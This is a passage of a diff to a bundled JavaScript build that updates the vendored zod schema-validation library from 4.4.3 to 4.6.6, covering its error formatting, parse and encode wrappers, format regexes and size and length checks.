treeifyError(error51, mapper = (issue2) => issue2.message) { +function treeifyError(error62, mapper = (issue2) => issue2.message) { const result = { errors: [] }; - const processError = (error52, path = []) => { - var _a3, _b; - for (const issue2 of error52.issues) { + const processError = (error63, path = []) => { + var _a3; + for (const issue2 of error63.issues) { if (issue2.code === "invalid_union" && issue2.errors.length) { issue2.errors.map((issues) => processError({ issues }, [...path, ...issue2.path])); } else if (issue2.code === "invalid_key") { @@ -64421,11 +64730,18 @@ function treeifyError(error51, mapper = (issue2) => issue2.message) { const terminal = i === fullpath.length - 1; if (typeof el === "string") { curr.properties ?? (curr.properties = {}); - (_a3 = curr.properties)[el] ?? (_a3[el] = { errors: [] }); + if (!Object.prototype.hasOwnProperty.call(curr.properties, el)) { + Object.defineProperty(curr.properties, el, { + value: { errors: [] }, + enumerable: true, + writable: true, + configurable: true + }); + } curr = curr.properties[el]; } else { curr.items ?? (curr.items = []); - (_b = curr.items)[el] ?? (_b[el] = { errors: [] }); + (_a3 = curr.items)[el] ?? (_a3[el] = { errors: [] }); curr = curr.items[el]; } if (terminal) { @@ -64436,7 +64752,7 @@ function treeifyError(error51, mapper = (issue2) => issue2.message) { } } }; - processError(error51); + processError(error62); return result; } function toDotPath(_path) { @@ -64457,9 +64773,9 @@ function toDotPath(_path) { } return segs.join(""); } -function prettifyError(error51) { +function prettifyError(error62) { const lines = []; - const issues = [...error51.issues].sort((a, b2) => (a.path ?? []).length - (b2.path ?? []).length); + const issues = [...error62.issues].sort((a, b2) => (a.path ?? []).length - (b2.path ?? []).length); for (const issue2 of issues) { lines.push(`\u2716 ${issue2.message}`); if (issue2.path?.length) @@ -64468,32 +64784,41 @@ function prettifyError(error51) { return lines.join("\n"); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/parse.js -var _parse = (_Err) => (schema, value, _ctx, _params) => { - const ctx = _ctx ? { ..._ctx, async: false } : { async: false }; - const result = schema._zod.run({ value, issues: [] }, ctx); - if (result instanceof Promise) { - throw new $ZodAsyncError(); - } - if (result.issues.length) { - const e = new (_params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); - captureStackTrace(e, _params?.callee); - throw e; - } - return result.value; +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/parse.js +function finalizeParams(callee, params) { + return { callee: params?.callee ?? callee, Err: params?.Err }; +} +var _parse = (_Err) => { + const fn = (schema, value, _ctx, _params) => { + const ctx = _ctx ? { ..._ctx, async: false } : { async: false }; + const result = schema._zod.run({ value, issues: [] }, ctx); + if (result instanceof Promise) { + throw new $ZodAsyncError(); + } + if (result.issues.length) { + const e = new (_params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); + captureStackTrace(e, _params?.callee ?? fn); + throw e; + } + return result.value; + }; + return fn; }; var parse2 = /* @__PURE__ */ _parse($ZodRealError); -var _parseAsync = (_Err) => async (schema, value, _ctx, params) => { - const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; - let result = schema._zod.run({ value, issues: [] }, ctx); - if (result instanceof Promise) - result = await result; - if (result.issues.length) { - const e = new (params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); - captureStackTrace(e, params?.callee); - throw e; - } - return result.value; +var _parseAsync = (_Err) => { + const fn = async (schema, value, _ctx, params) => { + const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; + let result = schema._zod.run({ value, issues: [] }, ctx); + if (result instanceof Promise) + result = await result; + if (result.issues.length) { + const e = new (params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); + captureStackTrace(e, params?.callee ?? fn); + throw e; + } + return result.value; + }; + return fn; }; var parseAsync = /* @__PURE__ */ _parseAsync($ZodRealError); var _safeParse = (_Err) => (schema, value, _ctx) => { @@ -64502,39 +64827,102 @@ var _safeParse = (_Err) => (schema, value, _ctx) => { if (result instanceof Promise) { throw new $ZodAsyncError(); } - return result.issues.length ? { - success: false, - error: new (_Err ?? $ZodError)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))) - } : { success: true, data: result.value }; + return result.issues.length ? failure(_Err, result.issues, ctx) : { success: true, data: result.value }; }; var safeParse = /* @__PURE__ */ _safeParse($ZodRealError); +function failure(Err, issues, ctx) { + let error62; + return { + success: false, + get error() { + if (!error62) { + error62 = new Err(issues.map((iss) => finalizeIssue(iss, ctx, config()))); + issues = void 0; + ctx = void 0; + } + return error62; + }, + set error(e) { + error62 = e; + issues = void 0; + ctx = void 0; + } + }; +} var _safeParseAsync = (_Err) => async (schema, value, _ctx) => { const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; let result = schema._zod.run({ value, issues: [] }, ctx); if (result instanceof Promise) result = await result; - return result.issues.length ? { - success: false, - error: new _Err(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))) - } : { success: true, data: result.value }; + return result.issues.length ? failure(_Err, result.issues, ctx) : { success: true, data: result.value }; }; var safeParseAsync = /* @__PURE__ */ _safeParseAsync($ZodRealError); -var _encode = (_Err) => (schema, value, _ctx) => { - const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; - return _parse(_Err)(schema, value, ctx); +var COMPILE_INVALID = /* @__PURE__ */ Symbol.for("zod.compile.invalid"); +var COMPILE_FALLBACK = /* @__PURE__ */ Symbol.for("zod.compile.fallback"); +var validate = (schema, value, _ctx) => { + const validator = schema._zod.bag.validator; + if (validator !== void 0) { + if (validator(value) !== COMPILE_INVALID) + return true; + if (validator.definite === true && _ctx === void 0) + return false; + } + return validateFallback(schema, value, _ctx); +}; +function validateFallback(schema, value, _ctx) { + const ctx = _ctx ? { ..._ctx, async: false, abortEarly: true } : { async: false, abortEarly: true }; + const fallbackRun = schema._zod.bag.fallbackRun; + let result; + if (fallbackRun) { + ctx[COMPILE_FALLBACK] = true; + result = fallbackRun({ value, issues: [] }, ctx); + } else { + result = schema._zod.run({ value, issues: [] }, ctx); + } + if (result instanceof Promise) { + throw new $ZodAsyncError(); + } + return result.issues.length === 0; +} +var validateAsync = async (schema, value, _ctx) => { + const ctx = _ctx ? { ..._ctx, async: true, abortEarly: true } : { async: true, abortEarly: true }; + let result = schema._zod.run({ value, issues: [] }, ctx); + if (result instanceof Promise) + result = await result; + return result.issues.length === 0; +}; +var _encode = (_Err) => { + const parse4 = _parse(_Err); + const fn = (schema, value, _ctx, _params) => { + const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; + return parse4(schema, value, ctx, finalizeParams(fn, _params)); + }; + return fn; }; var encode = /* @__PURE__ */ _encode($ZodRealError); -var _decode = (_Err) => (schema, value, _ctx) => { - return _parse(_Err)(schema, value, _ctx); +var _decode = (_Err) => { + const parse4 = _parse(_Err); + const fn = (schema, value, _ctx, _params) => { + return parse4(schema, value, _ctx, finalizeParams(fn, _params)); + }; + return fn; }; var decode = /* @__PURE__ */ _decode($ZodRealError); -var _encodeAsync = (_Err) => async (schema, value, _ctx) => { - const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; - return _parseAsync(_Err)(schema, value, ctx); +var _encodeAsync = (_Err) => { + const parseAsync3 = _parseAsync(_Err); + const fn = async (schema, value, _ctx, _params) => { + const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; + return await parseAsync3(schema, value, ctx, finalizeParams(fn, _params)); + }; + return fn; }; var encodeAsync = /* @__PURE__ */ _encodeAsync($ZodRealError); -var _decodeAsync = (_Err) => async (schema, value, _ctx) => { - return _parseAsync(_Err)(schema, value, _ctx); +var _decodeAsync = (_Err) => { + const parseAsync3 = _parseAsync(_Err); + const fn = async (schema, value, _ctx, _params) => { + return await parseAsync3(schema, value, _ctx, finalizeParams(fn, _params)); + }; + return fn; }; var decodeAsync = /* @__PURE__ */ _decodeAsync($ZodRealError); var _safeEncode = (_Err) => (schema, value, _ctx) => { @@ -64556,9 +64944,10 @@ var _safeDecodeAsync = (_Err) => async (schema, value, _ctx) => { }; var safeDecodeAsync = /* @__PURE__ */ _safeDecodeAsync($ZodRealError); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/regexes.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/regexes.js var regexes_exports = {}; __export(regexes_exports, { + anyString: () => anyString, base64: () => base64, base64url: () => base64url, bigint: () => bigint2, @@ -64566,8 +64955,10 @@ __export(regexes_exports, { browserEmail: () => browserEmail, cidrv4: () => cidrv4, cidrv6: () => cidrv6, + creditCard: () => creditCard, cuid: () => cuid, cuid2: () => cuid2, + currencyCode: () => currencyCode, date: () => date2, datetime: () => datetime, domain: () => domain, @@ -64581,6 +64972,7 @@ __export(regexes_exports, { hostname: () => hostname, html5Email: () => html5Email, httpProtocol: () => httpProtocol, + iban: () => iban, idnEmail: () => idnEmail, integer: () => integer2, ipv4: () => ipv4, @@ -64592,6 +64984,7 @@ __export(regexes_exports, { md5_base64url: () => md5_base64url, md5_hex: () => md5_hex, nanoid: () => nanoid, + nanoidOfLength: () => nanoidOfLength, null: () => _null, number: () => number, rfc5322Email: () => rfc5322Email, @@ -64621,10 +65014,13 @@ __export(regexes_exports, { }); var cuid = /^[cC][0-9a-z]{6,}$/; var cuid2 = /^[0-9a-z]+$/; -var ulid = /^[0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{26}$/; +var ulid = /^[0-7][0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{25}$/; var xid = /^[0-9a-vA-V]{20}$/; var ksuid = /^[A-Za-z0-9]{27}$/; var nanoid = /^[a-zA-Z0-9_-]{21}$/; +function nanoidOfLength(length) { + return new RegExp(`^[a-zA-Z0-9_-]{${length}}$`); +} var duration = /^P(?:(\d+W)|(?!.*W)(?=\d|T\d)(\d+Y)?(\d+M)?(\d+D)?(T(?=\d)(\d+H)?(\d+M)?(\d+([.,]\d+)?S)?)?)$/; var extendedDuration = /^[-+]?P(?!$)(?:(?:[-+]?\d+Y)|(?:[-+]?\d+[.,]\d+Y$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:(?:[-+]?\d+W)|(?:[-+]?\d+[.,]\d+W$))?(?:(?:[-+]?\d+D)|(?:[-+]?\d+[.,]\d+D$))?(?:T(?=[\d+-])(?:(?:[-+]?\d+H)|(?:[-+]?\d+[.,]\d+H$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:[-+]?\d+(?:[.,]\d+)?S)?)??$/; var guid = /^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})$/; @@ -64636,13 +65032,13 @@ var uuid2 = (version3) => { var uuid4 = /* @__PURE__ */ uuid2(4); var uuid6 = /* @__PURE__ */ uuid2(6); var uuid7 = /* @__PURE__ */ uuid2(7); -var email = /^(?!\.)(?!.*\.\.)([A-Za-z0-9_'+\-\.]*)[A-Za-z0-9_+-]@([A-Za-z0-9][A-Za-z0-9\-]*\.)+[A-Za-z]{2,}$/; +var email = /^(?:[A-Za-z0-9_'+\-]+\.)*[A-Za-z0-9_'+\-]*[A-Za-z0-9_+-]@(?:[A-Za-z0-9][A-Za-z0-9\-]*\.)+[A-Za-z]{2,}$/; var html5Email = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/; var rfc5322Email = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/; var unicodeEmail = /^[^\s@"]{1,64}@[^\s@]{1,255}$/u; var idnEmail = unicodeEmail; var browserEmail = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/; -var _emoji = `^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$`; +var _emoji = `^(?=[\\s\\S]*[\\p{Extended_Pictographic}\\p{Regional_Indicator}\\u20E3])[\\p{Extended_Pictographic}\\p{Emoji_Component}]+$`; function emoji() { return new RegExp(_emoji, "u"); } @@ -64653,33 +65049,38 @@ var mac = (delimiter) => { return new RegExp(`^(?:[0-9A-F]{2}${escapedDelim}){5}[0-9A-F]{2}$|^(?:[0-9a-f]{2}${escapedDelim}){5}[0-9a-f]{2}$`); }; var cidrv4 = /^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/([0-9]|[1-2][0-9]|3[0-2])$/; -var cidrv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|::|([0-9a-fA-F]{1,4})?::([0-9a-fA-F]{1,4}:?){0,6})\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/; +var cidrv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/; var base64 = /^$|^(?:[0-9a-zA-Z+/]{4})*(?:(?:[0-9a-zA-Z+/]{2}==)|(?:[0-9a-zA-Z+/]{3}=))?$/; -var base64url = /^[A-Za-z0-9_-]*$/; +var base64url = /^(?:[A-Za-z0-9_-]{4})*(?:[A-Za-z0-9_-]{2,3})?$/; var hostname = /^(?=.{1,253}\.?$)[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[-0-9a-zA-Z]{0,61}[0-9a-zA-Z])?)*\.?$/; -var domain = /^([a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}$/; +var domain = /^(?=.{1,253}$)([a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,63}$/; var httpProtocol = /^https?$/; var e164 = /^\+[1-9]\d{6,14}$/; +var creditCard = /^\d(?:[ -]?\d){11,18}$/; +var currencyCode = /^(?:AED|AFN|ALL|AMD|AOA|ARS|AUD|AWG|AZN|BAM|BBD|BDT|BHD|BIF|BMD|BND|BOB|BOV|BRL|BSD|BTN|BWP|BYN|BZD|CAD|CDF|CHE|CHF|CHW|CLF|CLP|CNY|COP|COU|CRC|CUP|CVE|CZK|DJF|DKK|DOP|DZD|EGP|ERN|ETB|EUR|FJD|FKP|GBP|GEL|GHS|GIP|GMD|GNF|GTQ|GYD|HKD|HNL|HTG|HUF|IDR|ILS|INR|IQD|IRR|ISK|JMD|JOD|JPY|KES|KGS|KHR|KMF|KPW|KRW|KWD|KYD|KZT|LAK|LBP|LKR|LRD|LSL|LYD|MAD|MDL|MGA|MKD|MMK|MNT|MOP|MRU|MUR|MVR|MWK|MXN|MXV|MYR|MZN|NAD|NGN|NIO|NOK|NPR|NZD|OMR|PAB|PEN|PGK|PHP|PKR|PLN|PYG|QAR|RON|RSD|RUB|RWF|SAR|SBD|SCR|SDG|SEK|SGD|SHP|SLE|SOS|SRD|SSP|STN|SVC|SYP|SZL|THB|TJS|TMT|TND|TOP|TRY|TTD|TWD|TZS|UAH|UGX|USD|USN|UYI|UYU|UYW|UZS|VED|VES|VND|VUV|WST|XAD|XAF|XAG|XAU|XBA|XBB|XBC|XBD|XCD|XCG|XDR|XOF|XPD|XPF|XPT|XSU|XTS|XUA|XXX|YER|ZAR|ZMW|ZWG)$/; +var iban = /^[A-Z]{2}(?!00|01|99)\d{2}[A-Z0-9]{11,30}$/; var dateSource = `(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))`; -var date2 = /* @__PURE__ */ new RegExp(`^${dateSource}$`); +function anchor(source) { + return new RegExp(`^${source}$`); +} +var date2 = /* @__PURE__ */ anchor(dateSource); function timeSource(args) { const hhmm = `(?:[01]\\d|2[0-3]):[0-5]\\d`; - const regex = typeof args.precision === "number" ? args.precision === -1 ? `${hhmm}` : args.precision === 0 ? `${hhmm}:[0-5]\\d` : `${hhmm}:[0-5]\\d\\.\\d{${args.precision}}` : `${hhmm}(?::[0-5]\\d(?:\\.\\d+)?)?`; + const regex = typeof args.precision === "number" ? args.precision === -1 ? `${hhmm}` : args.precision === 0 ? `${hhmm}:[0-5]\\d` : `${hhmm}:[0-5]\\d\\.\\d{${args.precision}}` : args.seconds ? `${hhmm}:[0-5]\\d(?:\\.\\d+)?` : `${hhmm}(?::[0-5]\\d(?:\\.\\d+)?)?`; return regex; } function time2(args) { return new RegExp(`^${timeSource(args)}$`); } function datetime(args) { - const time4 = timeSource({ precision: args.precision }); const opts = ["Z"]; - if (args.local) - opts.push(""); if (args.offset) opts.push(`([+-](?:[01]\\d|2[0-3]):[0-5]\\d)`); - const timeRegex = `${time4}(?:${opts.join("|")})`; + const qualified = `${timeSource({ precision: args.precision, seconds: true })}(?:${opts.join("|")})`; + const timeRegex = args.local ? `${qualified}|${timeSource({ precision: args.precision })}` : qualified; return new RegExp(`^${dateSource}T(?:${timeRegex})$`); } +var anyString = /^[\s\S]{0,}$/; var string = (params) => { const regex = params ? `[\\s\\S]{${params?.minimum ?? 0},${params?.maximum ?? ""}}` : `[\\s\\S]*`; return new RegExp(`^${regex}$`); @@ -64715,13 +65116,21 @@ var sha512_hex = /^[0-9a-fA-F]{128}$/; var sha512_base64 = /* @__PURE__ */ fixedBase64(86, "=="); var sha512_base64url = /* @__PURE__ */ fixedBase64url(86); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/checks.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/checks.js var $ZodCheck = /* @__PURE__ */ $constructor("$ZodCheck", (inst, def) => { var _a3; inst._zod ?? (inst._zod = {}); inst._zod.def = def; (_a3 = inst._zod).onattach ?? (_a3.onattach = []); }); +var _whenHasSize = (payload) => { + const val = payload.value; + return !nullish(val) && val.size !== void 0; +}; +var _whenHasLength = (payload) => { + const val = payload.value; + return !nullish(val) && val.length !== void 0; +}; var numericOriginMap = { number: "number", bigint: "bigint", @@ -64730,22 +65139,12 @@ var numericOriginMap = { var $ZodCheckLessThan = /* @__PURE__ */ $constructor("$ZodCheckLessThan", (inst, def) => { $ZodCheck.init(inst, def); const origin = numericOriginMap[typeof def.value]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - const curr = (def.inclusive ? bag.maximum : bag.exclusiveMaximum) ?? Number.POSITIVE_INFINITY; - if (def.value < curr) { - if (def.inclusive) - bag.maximum = def.value; - else - bag.exclusiveMaximum = def.value; - } - }); inst._zod.check = (payload) => { if (def.inclusive ? payload.value <= def.value : payload.value < def.value) { return; } payload.issues.push({ - origin, + origin: numericOriginMap[typeof payload.value] ?? origin, code: "too_big", maximum: typeof def.value === "object" ? def.value.getTime() : def.value, input: payload.value, @@ -64758,22 +65157,12 @@ var $ZodCheckLessThan = /* @__PURE__ */ $constructor("$ZodCheckLessThan", (inst, var $ZodCheckGreaterThan = /* @__PURE__ */ $constructor("$ZodCheckGreaterThan", (inst, def) => { $ZodCheck.init(inst, def); const origin = numericOriginMap[typeof def.value]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - const curr = (def.inclusive ? bag.minimum : bag.exclusiveMinimum) ?? Number.NEGATIVE_INFINITY; - if (def.value > curr) { - if (def.inclusive) - bag.minimum = def.value; - else - bag.exclusiveMinimum = def.value; - } - }); inst._zod.check = (payload) => { if (def.inclusive ? payload.value >= def.value : payload.value > def.value) { return; } payload.issues.push({ - origin, + origin: numericOriginMap[typeof payload.value] ?? origin, code: "too_small", minimum: typeof def.value === "object" ? def.value.getTime() : def.value, input: payload.value, @@ -64785,14 +65174,13 @@ var $ZodCheckGreaterThan = /* @__PURE__ */ $constructor("$ZodCheckGreaterThan", }); var $ZodCheckMultipleOf = /* @__PURE__ */ $constructor("$ZodCheckMultipleOf", (inst, def) => { $ZodCheck.init(inst, def); - inst._zod.onattach.push((inst2) => { - var _a3; - (_a3 = inst2._zod.bag).multipleOf ?? (_a3.multipleOf = def.value); - }); inst._zod.check = (payload) => { if (typeof payload.value !== typeof def.value) throw new Error("Cannot mix number and bigint in multiple_of check."); - const isMultiple = typeof payload.value === "bigint" ? payload.value % def.value === BigInt(0) : floatSafeRemainder(payload.value, def.value) === 0; + const isMultiple = typeof payload.value === "bigint" ? ( + // `value % 0n` throws, and nothing is a multiple of zero — the number branch already fails this way via NaN + def.value !== BigInt(0) && payload.value % def.value === BigInt(0) + ) : floatSafeRemainder(payload.value, def.value) === 0; if (isMultiple) return; payload.issues.push({ @@ -64811,32 +65199,24 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" const isInt = def.format?.includes("int"); const origin = isInt ? "int" : "number"; const [minimum, maximum] = NUMBER_FORMAT_RANGES[def.format]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.format = def.format; - bag.minimum = minimum; - bag.maximum = maximum; - if (isInt) - bag.pattern = integer2; - }); inst._zod.check = (payload) => { - const input = payload.value; + const input2 = payload.value; if (isInt) { - if (!Number.isInteger(input)) { + if (!Number.isInteger(input2)) { payload.issues.push({ expected: origin, format: def.format, code: "invalid_type", continue: false, - input, + input: input2, inst }); return; } - if (!Number.isSafeInteger(input)) { - if (input > 0) { + if (!Number.isSafeInteger(input2)) { + if (input2 > 0) { payload.issues.push({ - input, + input: input2, code: "too_big", maximum: Number.MAX_SAFE_INTEGER, note: "Integers must be within the safe integer range.", @@ -64847,7 +65227,7 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" }); } else { payload.issues.push({ - input, + input: input2, code: "too_small", minimum: Number.MIN_SAFE_INTEGER, note: "Integers must be within the safe integer range.", @@ -64860,10 +65240,10 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" return; } } - if (input < minimum) { + if (input2 < minimum) { payload.issues.push({ origin: "number", - input, + input: input2, code: "too_small", minimum, inclusive: true, @@ -64871,10 +65251,10 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" continue: !def.abort }); } - if (input > maximum) { + if (input2 > maximum) { payload.issues.push({ origin: "number", - input, + input: input2, code: "too_big", maximum, inclusive: true, @@ -64887,18 +65267,12 @@ var $ZodCheckNumberFormat = /* @__PURE__ */ $constructor("$ZodCheckNumberFormat" var $ZodCheckBigIntFormat = /* @__PURE__ */ $constructor("$ZodCheckBigIntFormat", (inst, def) => { $ZodCheck.init(inst, def); const [minimum, maximum] = BIGINT_FORMAT_RANGES[def.format]; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.format = def.format; - bag.minimum = minimum; - bag.maximum = maximum; - }); inst._zod.check = (payload) => { - const input = payload.value; - if (input < minimum) { + const input2 = payload.value; + if (input2 < minimum) { payload.issues.push({ origin: "bigint", - input, + input: input2, code: "too_small", minimum, inclusive: true, @@ -64906,10 +65280,10 @@ var $ZodCheckBigIntFormat = /* @__PURE__ */ $constructor("$ZodCheckBigIntFormat" continue: !def.abort }); } - if (input > maximum) { + if (input2 > maximum) { payload.issues.push({ origin: "bigint", - input, + input: input2, code: "too_big", maximum, inclusive: true, @@ -64922,26 +65296,18 @@ var $ZodCheckBigIntFormat = /* @__PURE__ */ $constructor("$ZodCheckBigIntFormat" var $ZodCheckMaxSize = /* @__PURE__ */ $constructor("$ZodCheckMaxSize", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.size !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.maximum ?? Number.POSITIVE_INFINITY; - if (def.maximum < curr) - inst2._zod.bag.maximum = def.maximum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasSize); inst._zod.check = (payload) => { - const input = payload.value; - const size2 = input.size; + const input2 = payload.value; + const size2 = input2.size; if (size2 <= def.maximum) return; payload.issues.push({ - origin: getSizableOrigin(input), + origin: getSizableOrigin(input2), code: "too_big", maximum: def.maximum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -64950,26 +65316,18 @@ var $ZodCheckMaxSize = /* @__PURE__ */ $constructor("$ZodCheckMaxSize", (inst, d var $ZodCheckMinSize = /* @__PURE__ */ $constructor("$ZodCheckMinSize", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.size !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.minimum ?? Number.NEGATIVE_INFINITY; - if (def.minimum > curr) - inst2._zod.bag.minimum = def.minimum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasSize); inst._zod.check = (payload) => { - const input = payload.value; - const size2 = input.size; + const input2 = payload.value; + const size2 = input2.size; if (size2 >= def.minimum) return; payload.issues.push({ - origin: getSizableOrigin(input), + origin: getSizableOrigin(input2), code: "too_small", minimum: def.minimum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -64978,24 +65336,15 @@ var $ZodCheckMinSize = /* @__PURE__ */ $constructor("$ZodCheckMinSize", (inst, d var $ZodCheckSizeEquals = /* @__PURE__ */ $constructor("$ZodCheckSizeEquals", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.size !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.minimum = def.size; - bag.maximum = def.size; - bag.size = def.size; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasSize); inst._zod.check = (payload) => { - const input = payload.value; - const size2 = input.size; + const input2 = payload.value; + const size2 = input2.size; if (size2 === def.size) return; const tooBig = size2 > def.size; payload.issues.push({ - origin: getSizableOrigin(input), + origin: getSizableOrigin(input2), ...tooBig ? { code: "too_big", maximum: def.size } : { code: "too_small", minimum: def.size }, inclusive: true, exact: true, @@ -65008,27 +65357,20 @@ var $ZodCheckSizeEquals = /* @__PURE__ */ $constructor("$ZodCheckSizeEquals", (i var $ZodCheckMaxLength = /* @__PURE__ */ $constructor("$ZodCheckMaxLength", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.length !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.maximum ?? Number.POSITIVE_INFINITY; - if (def.maximum < curr) - inst2._zod.bag.maximum = def.maximum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasLength); inst._zod.check = (payload) => { - const input = payload.value; - const length = input.length; + const input2 = payload.value; + const units = input2.length; + const length = typeof input2 === "string" && units > def.maximum ? codePointLength(input2) : units; if (length <= def.maximum) return; - const origin = getLengthableOrigin(input); + const origin = getLengthableOrigin(input2); payload.issues.push({ origin, code: "too_big", maximum: def.maximum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -65037,27 +65379,20 @@ var $ZodCheckMaxLength = /* @__PURE__ */ $constructor("$ZodCheckMaxLength", (ins var $ZodCheckMinLength = /* @__PURE__ */ $constructor("$ZodCheckMinLength", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.length !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const curr = inst2._zod.bag.minimum ?? Number.NEGATIVE_INFINITY; - if (def.minimum > curr) - inst2._zod.bag.minimum = def.minimum; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasLength); inst._zod.check = (payload) => { - const input = payload.value; - const length = input.length; + const input2 = payload.value; + const units = input2.length; + const length = typeof input2 === "string" && units >= def.minimum && units < def.minimum * 2 ? codePointLength(input2) : units; if (length >= def.minimum) return; - const origin = getLengthableOrigin(input); + const origin = getLengthableOrigin(input2); payload.issues.push({ origin, code: "too_small", minimum: def.minimum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -65066,22 +65401,14 @@ var $ZodCheckMinLength = /* @__PURE__ */ $constructor("$ZodCheckMinLength", (ins var $ZodCheckLengthEquals = /* @__PURE__ */ $constructor("$ZodCheckLengthEquals", (inst, def) => { var 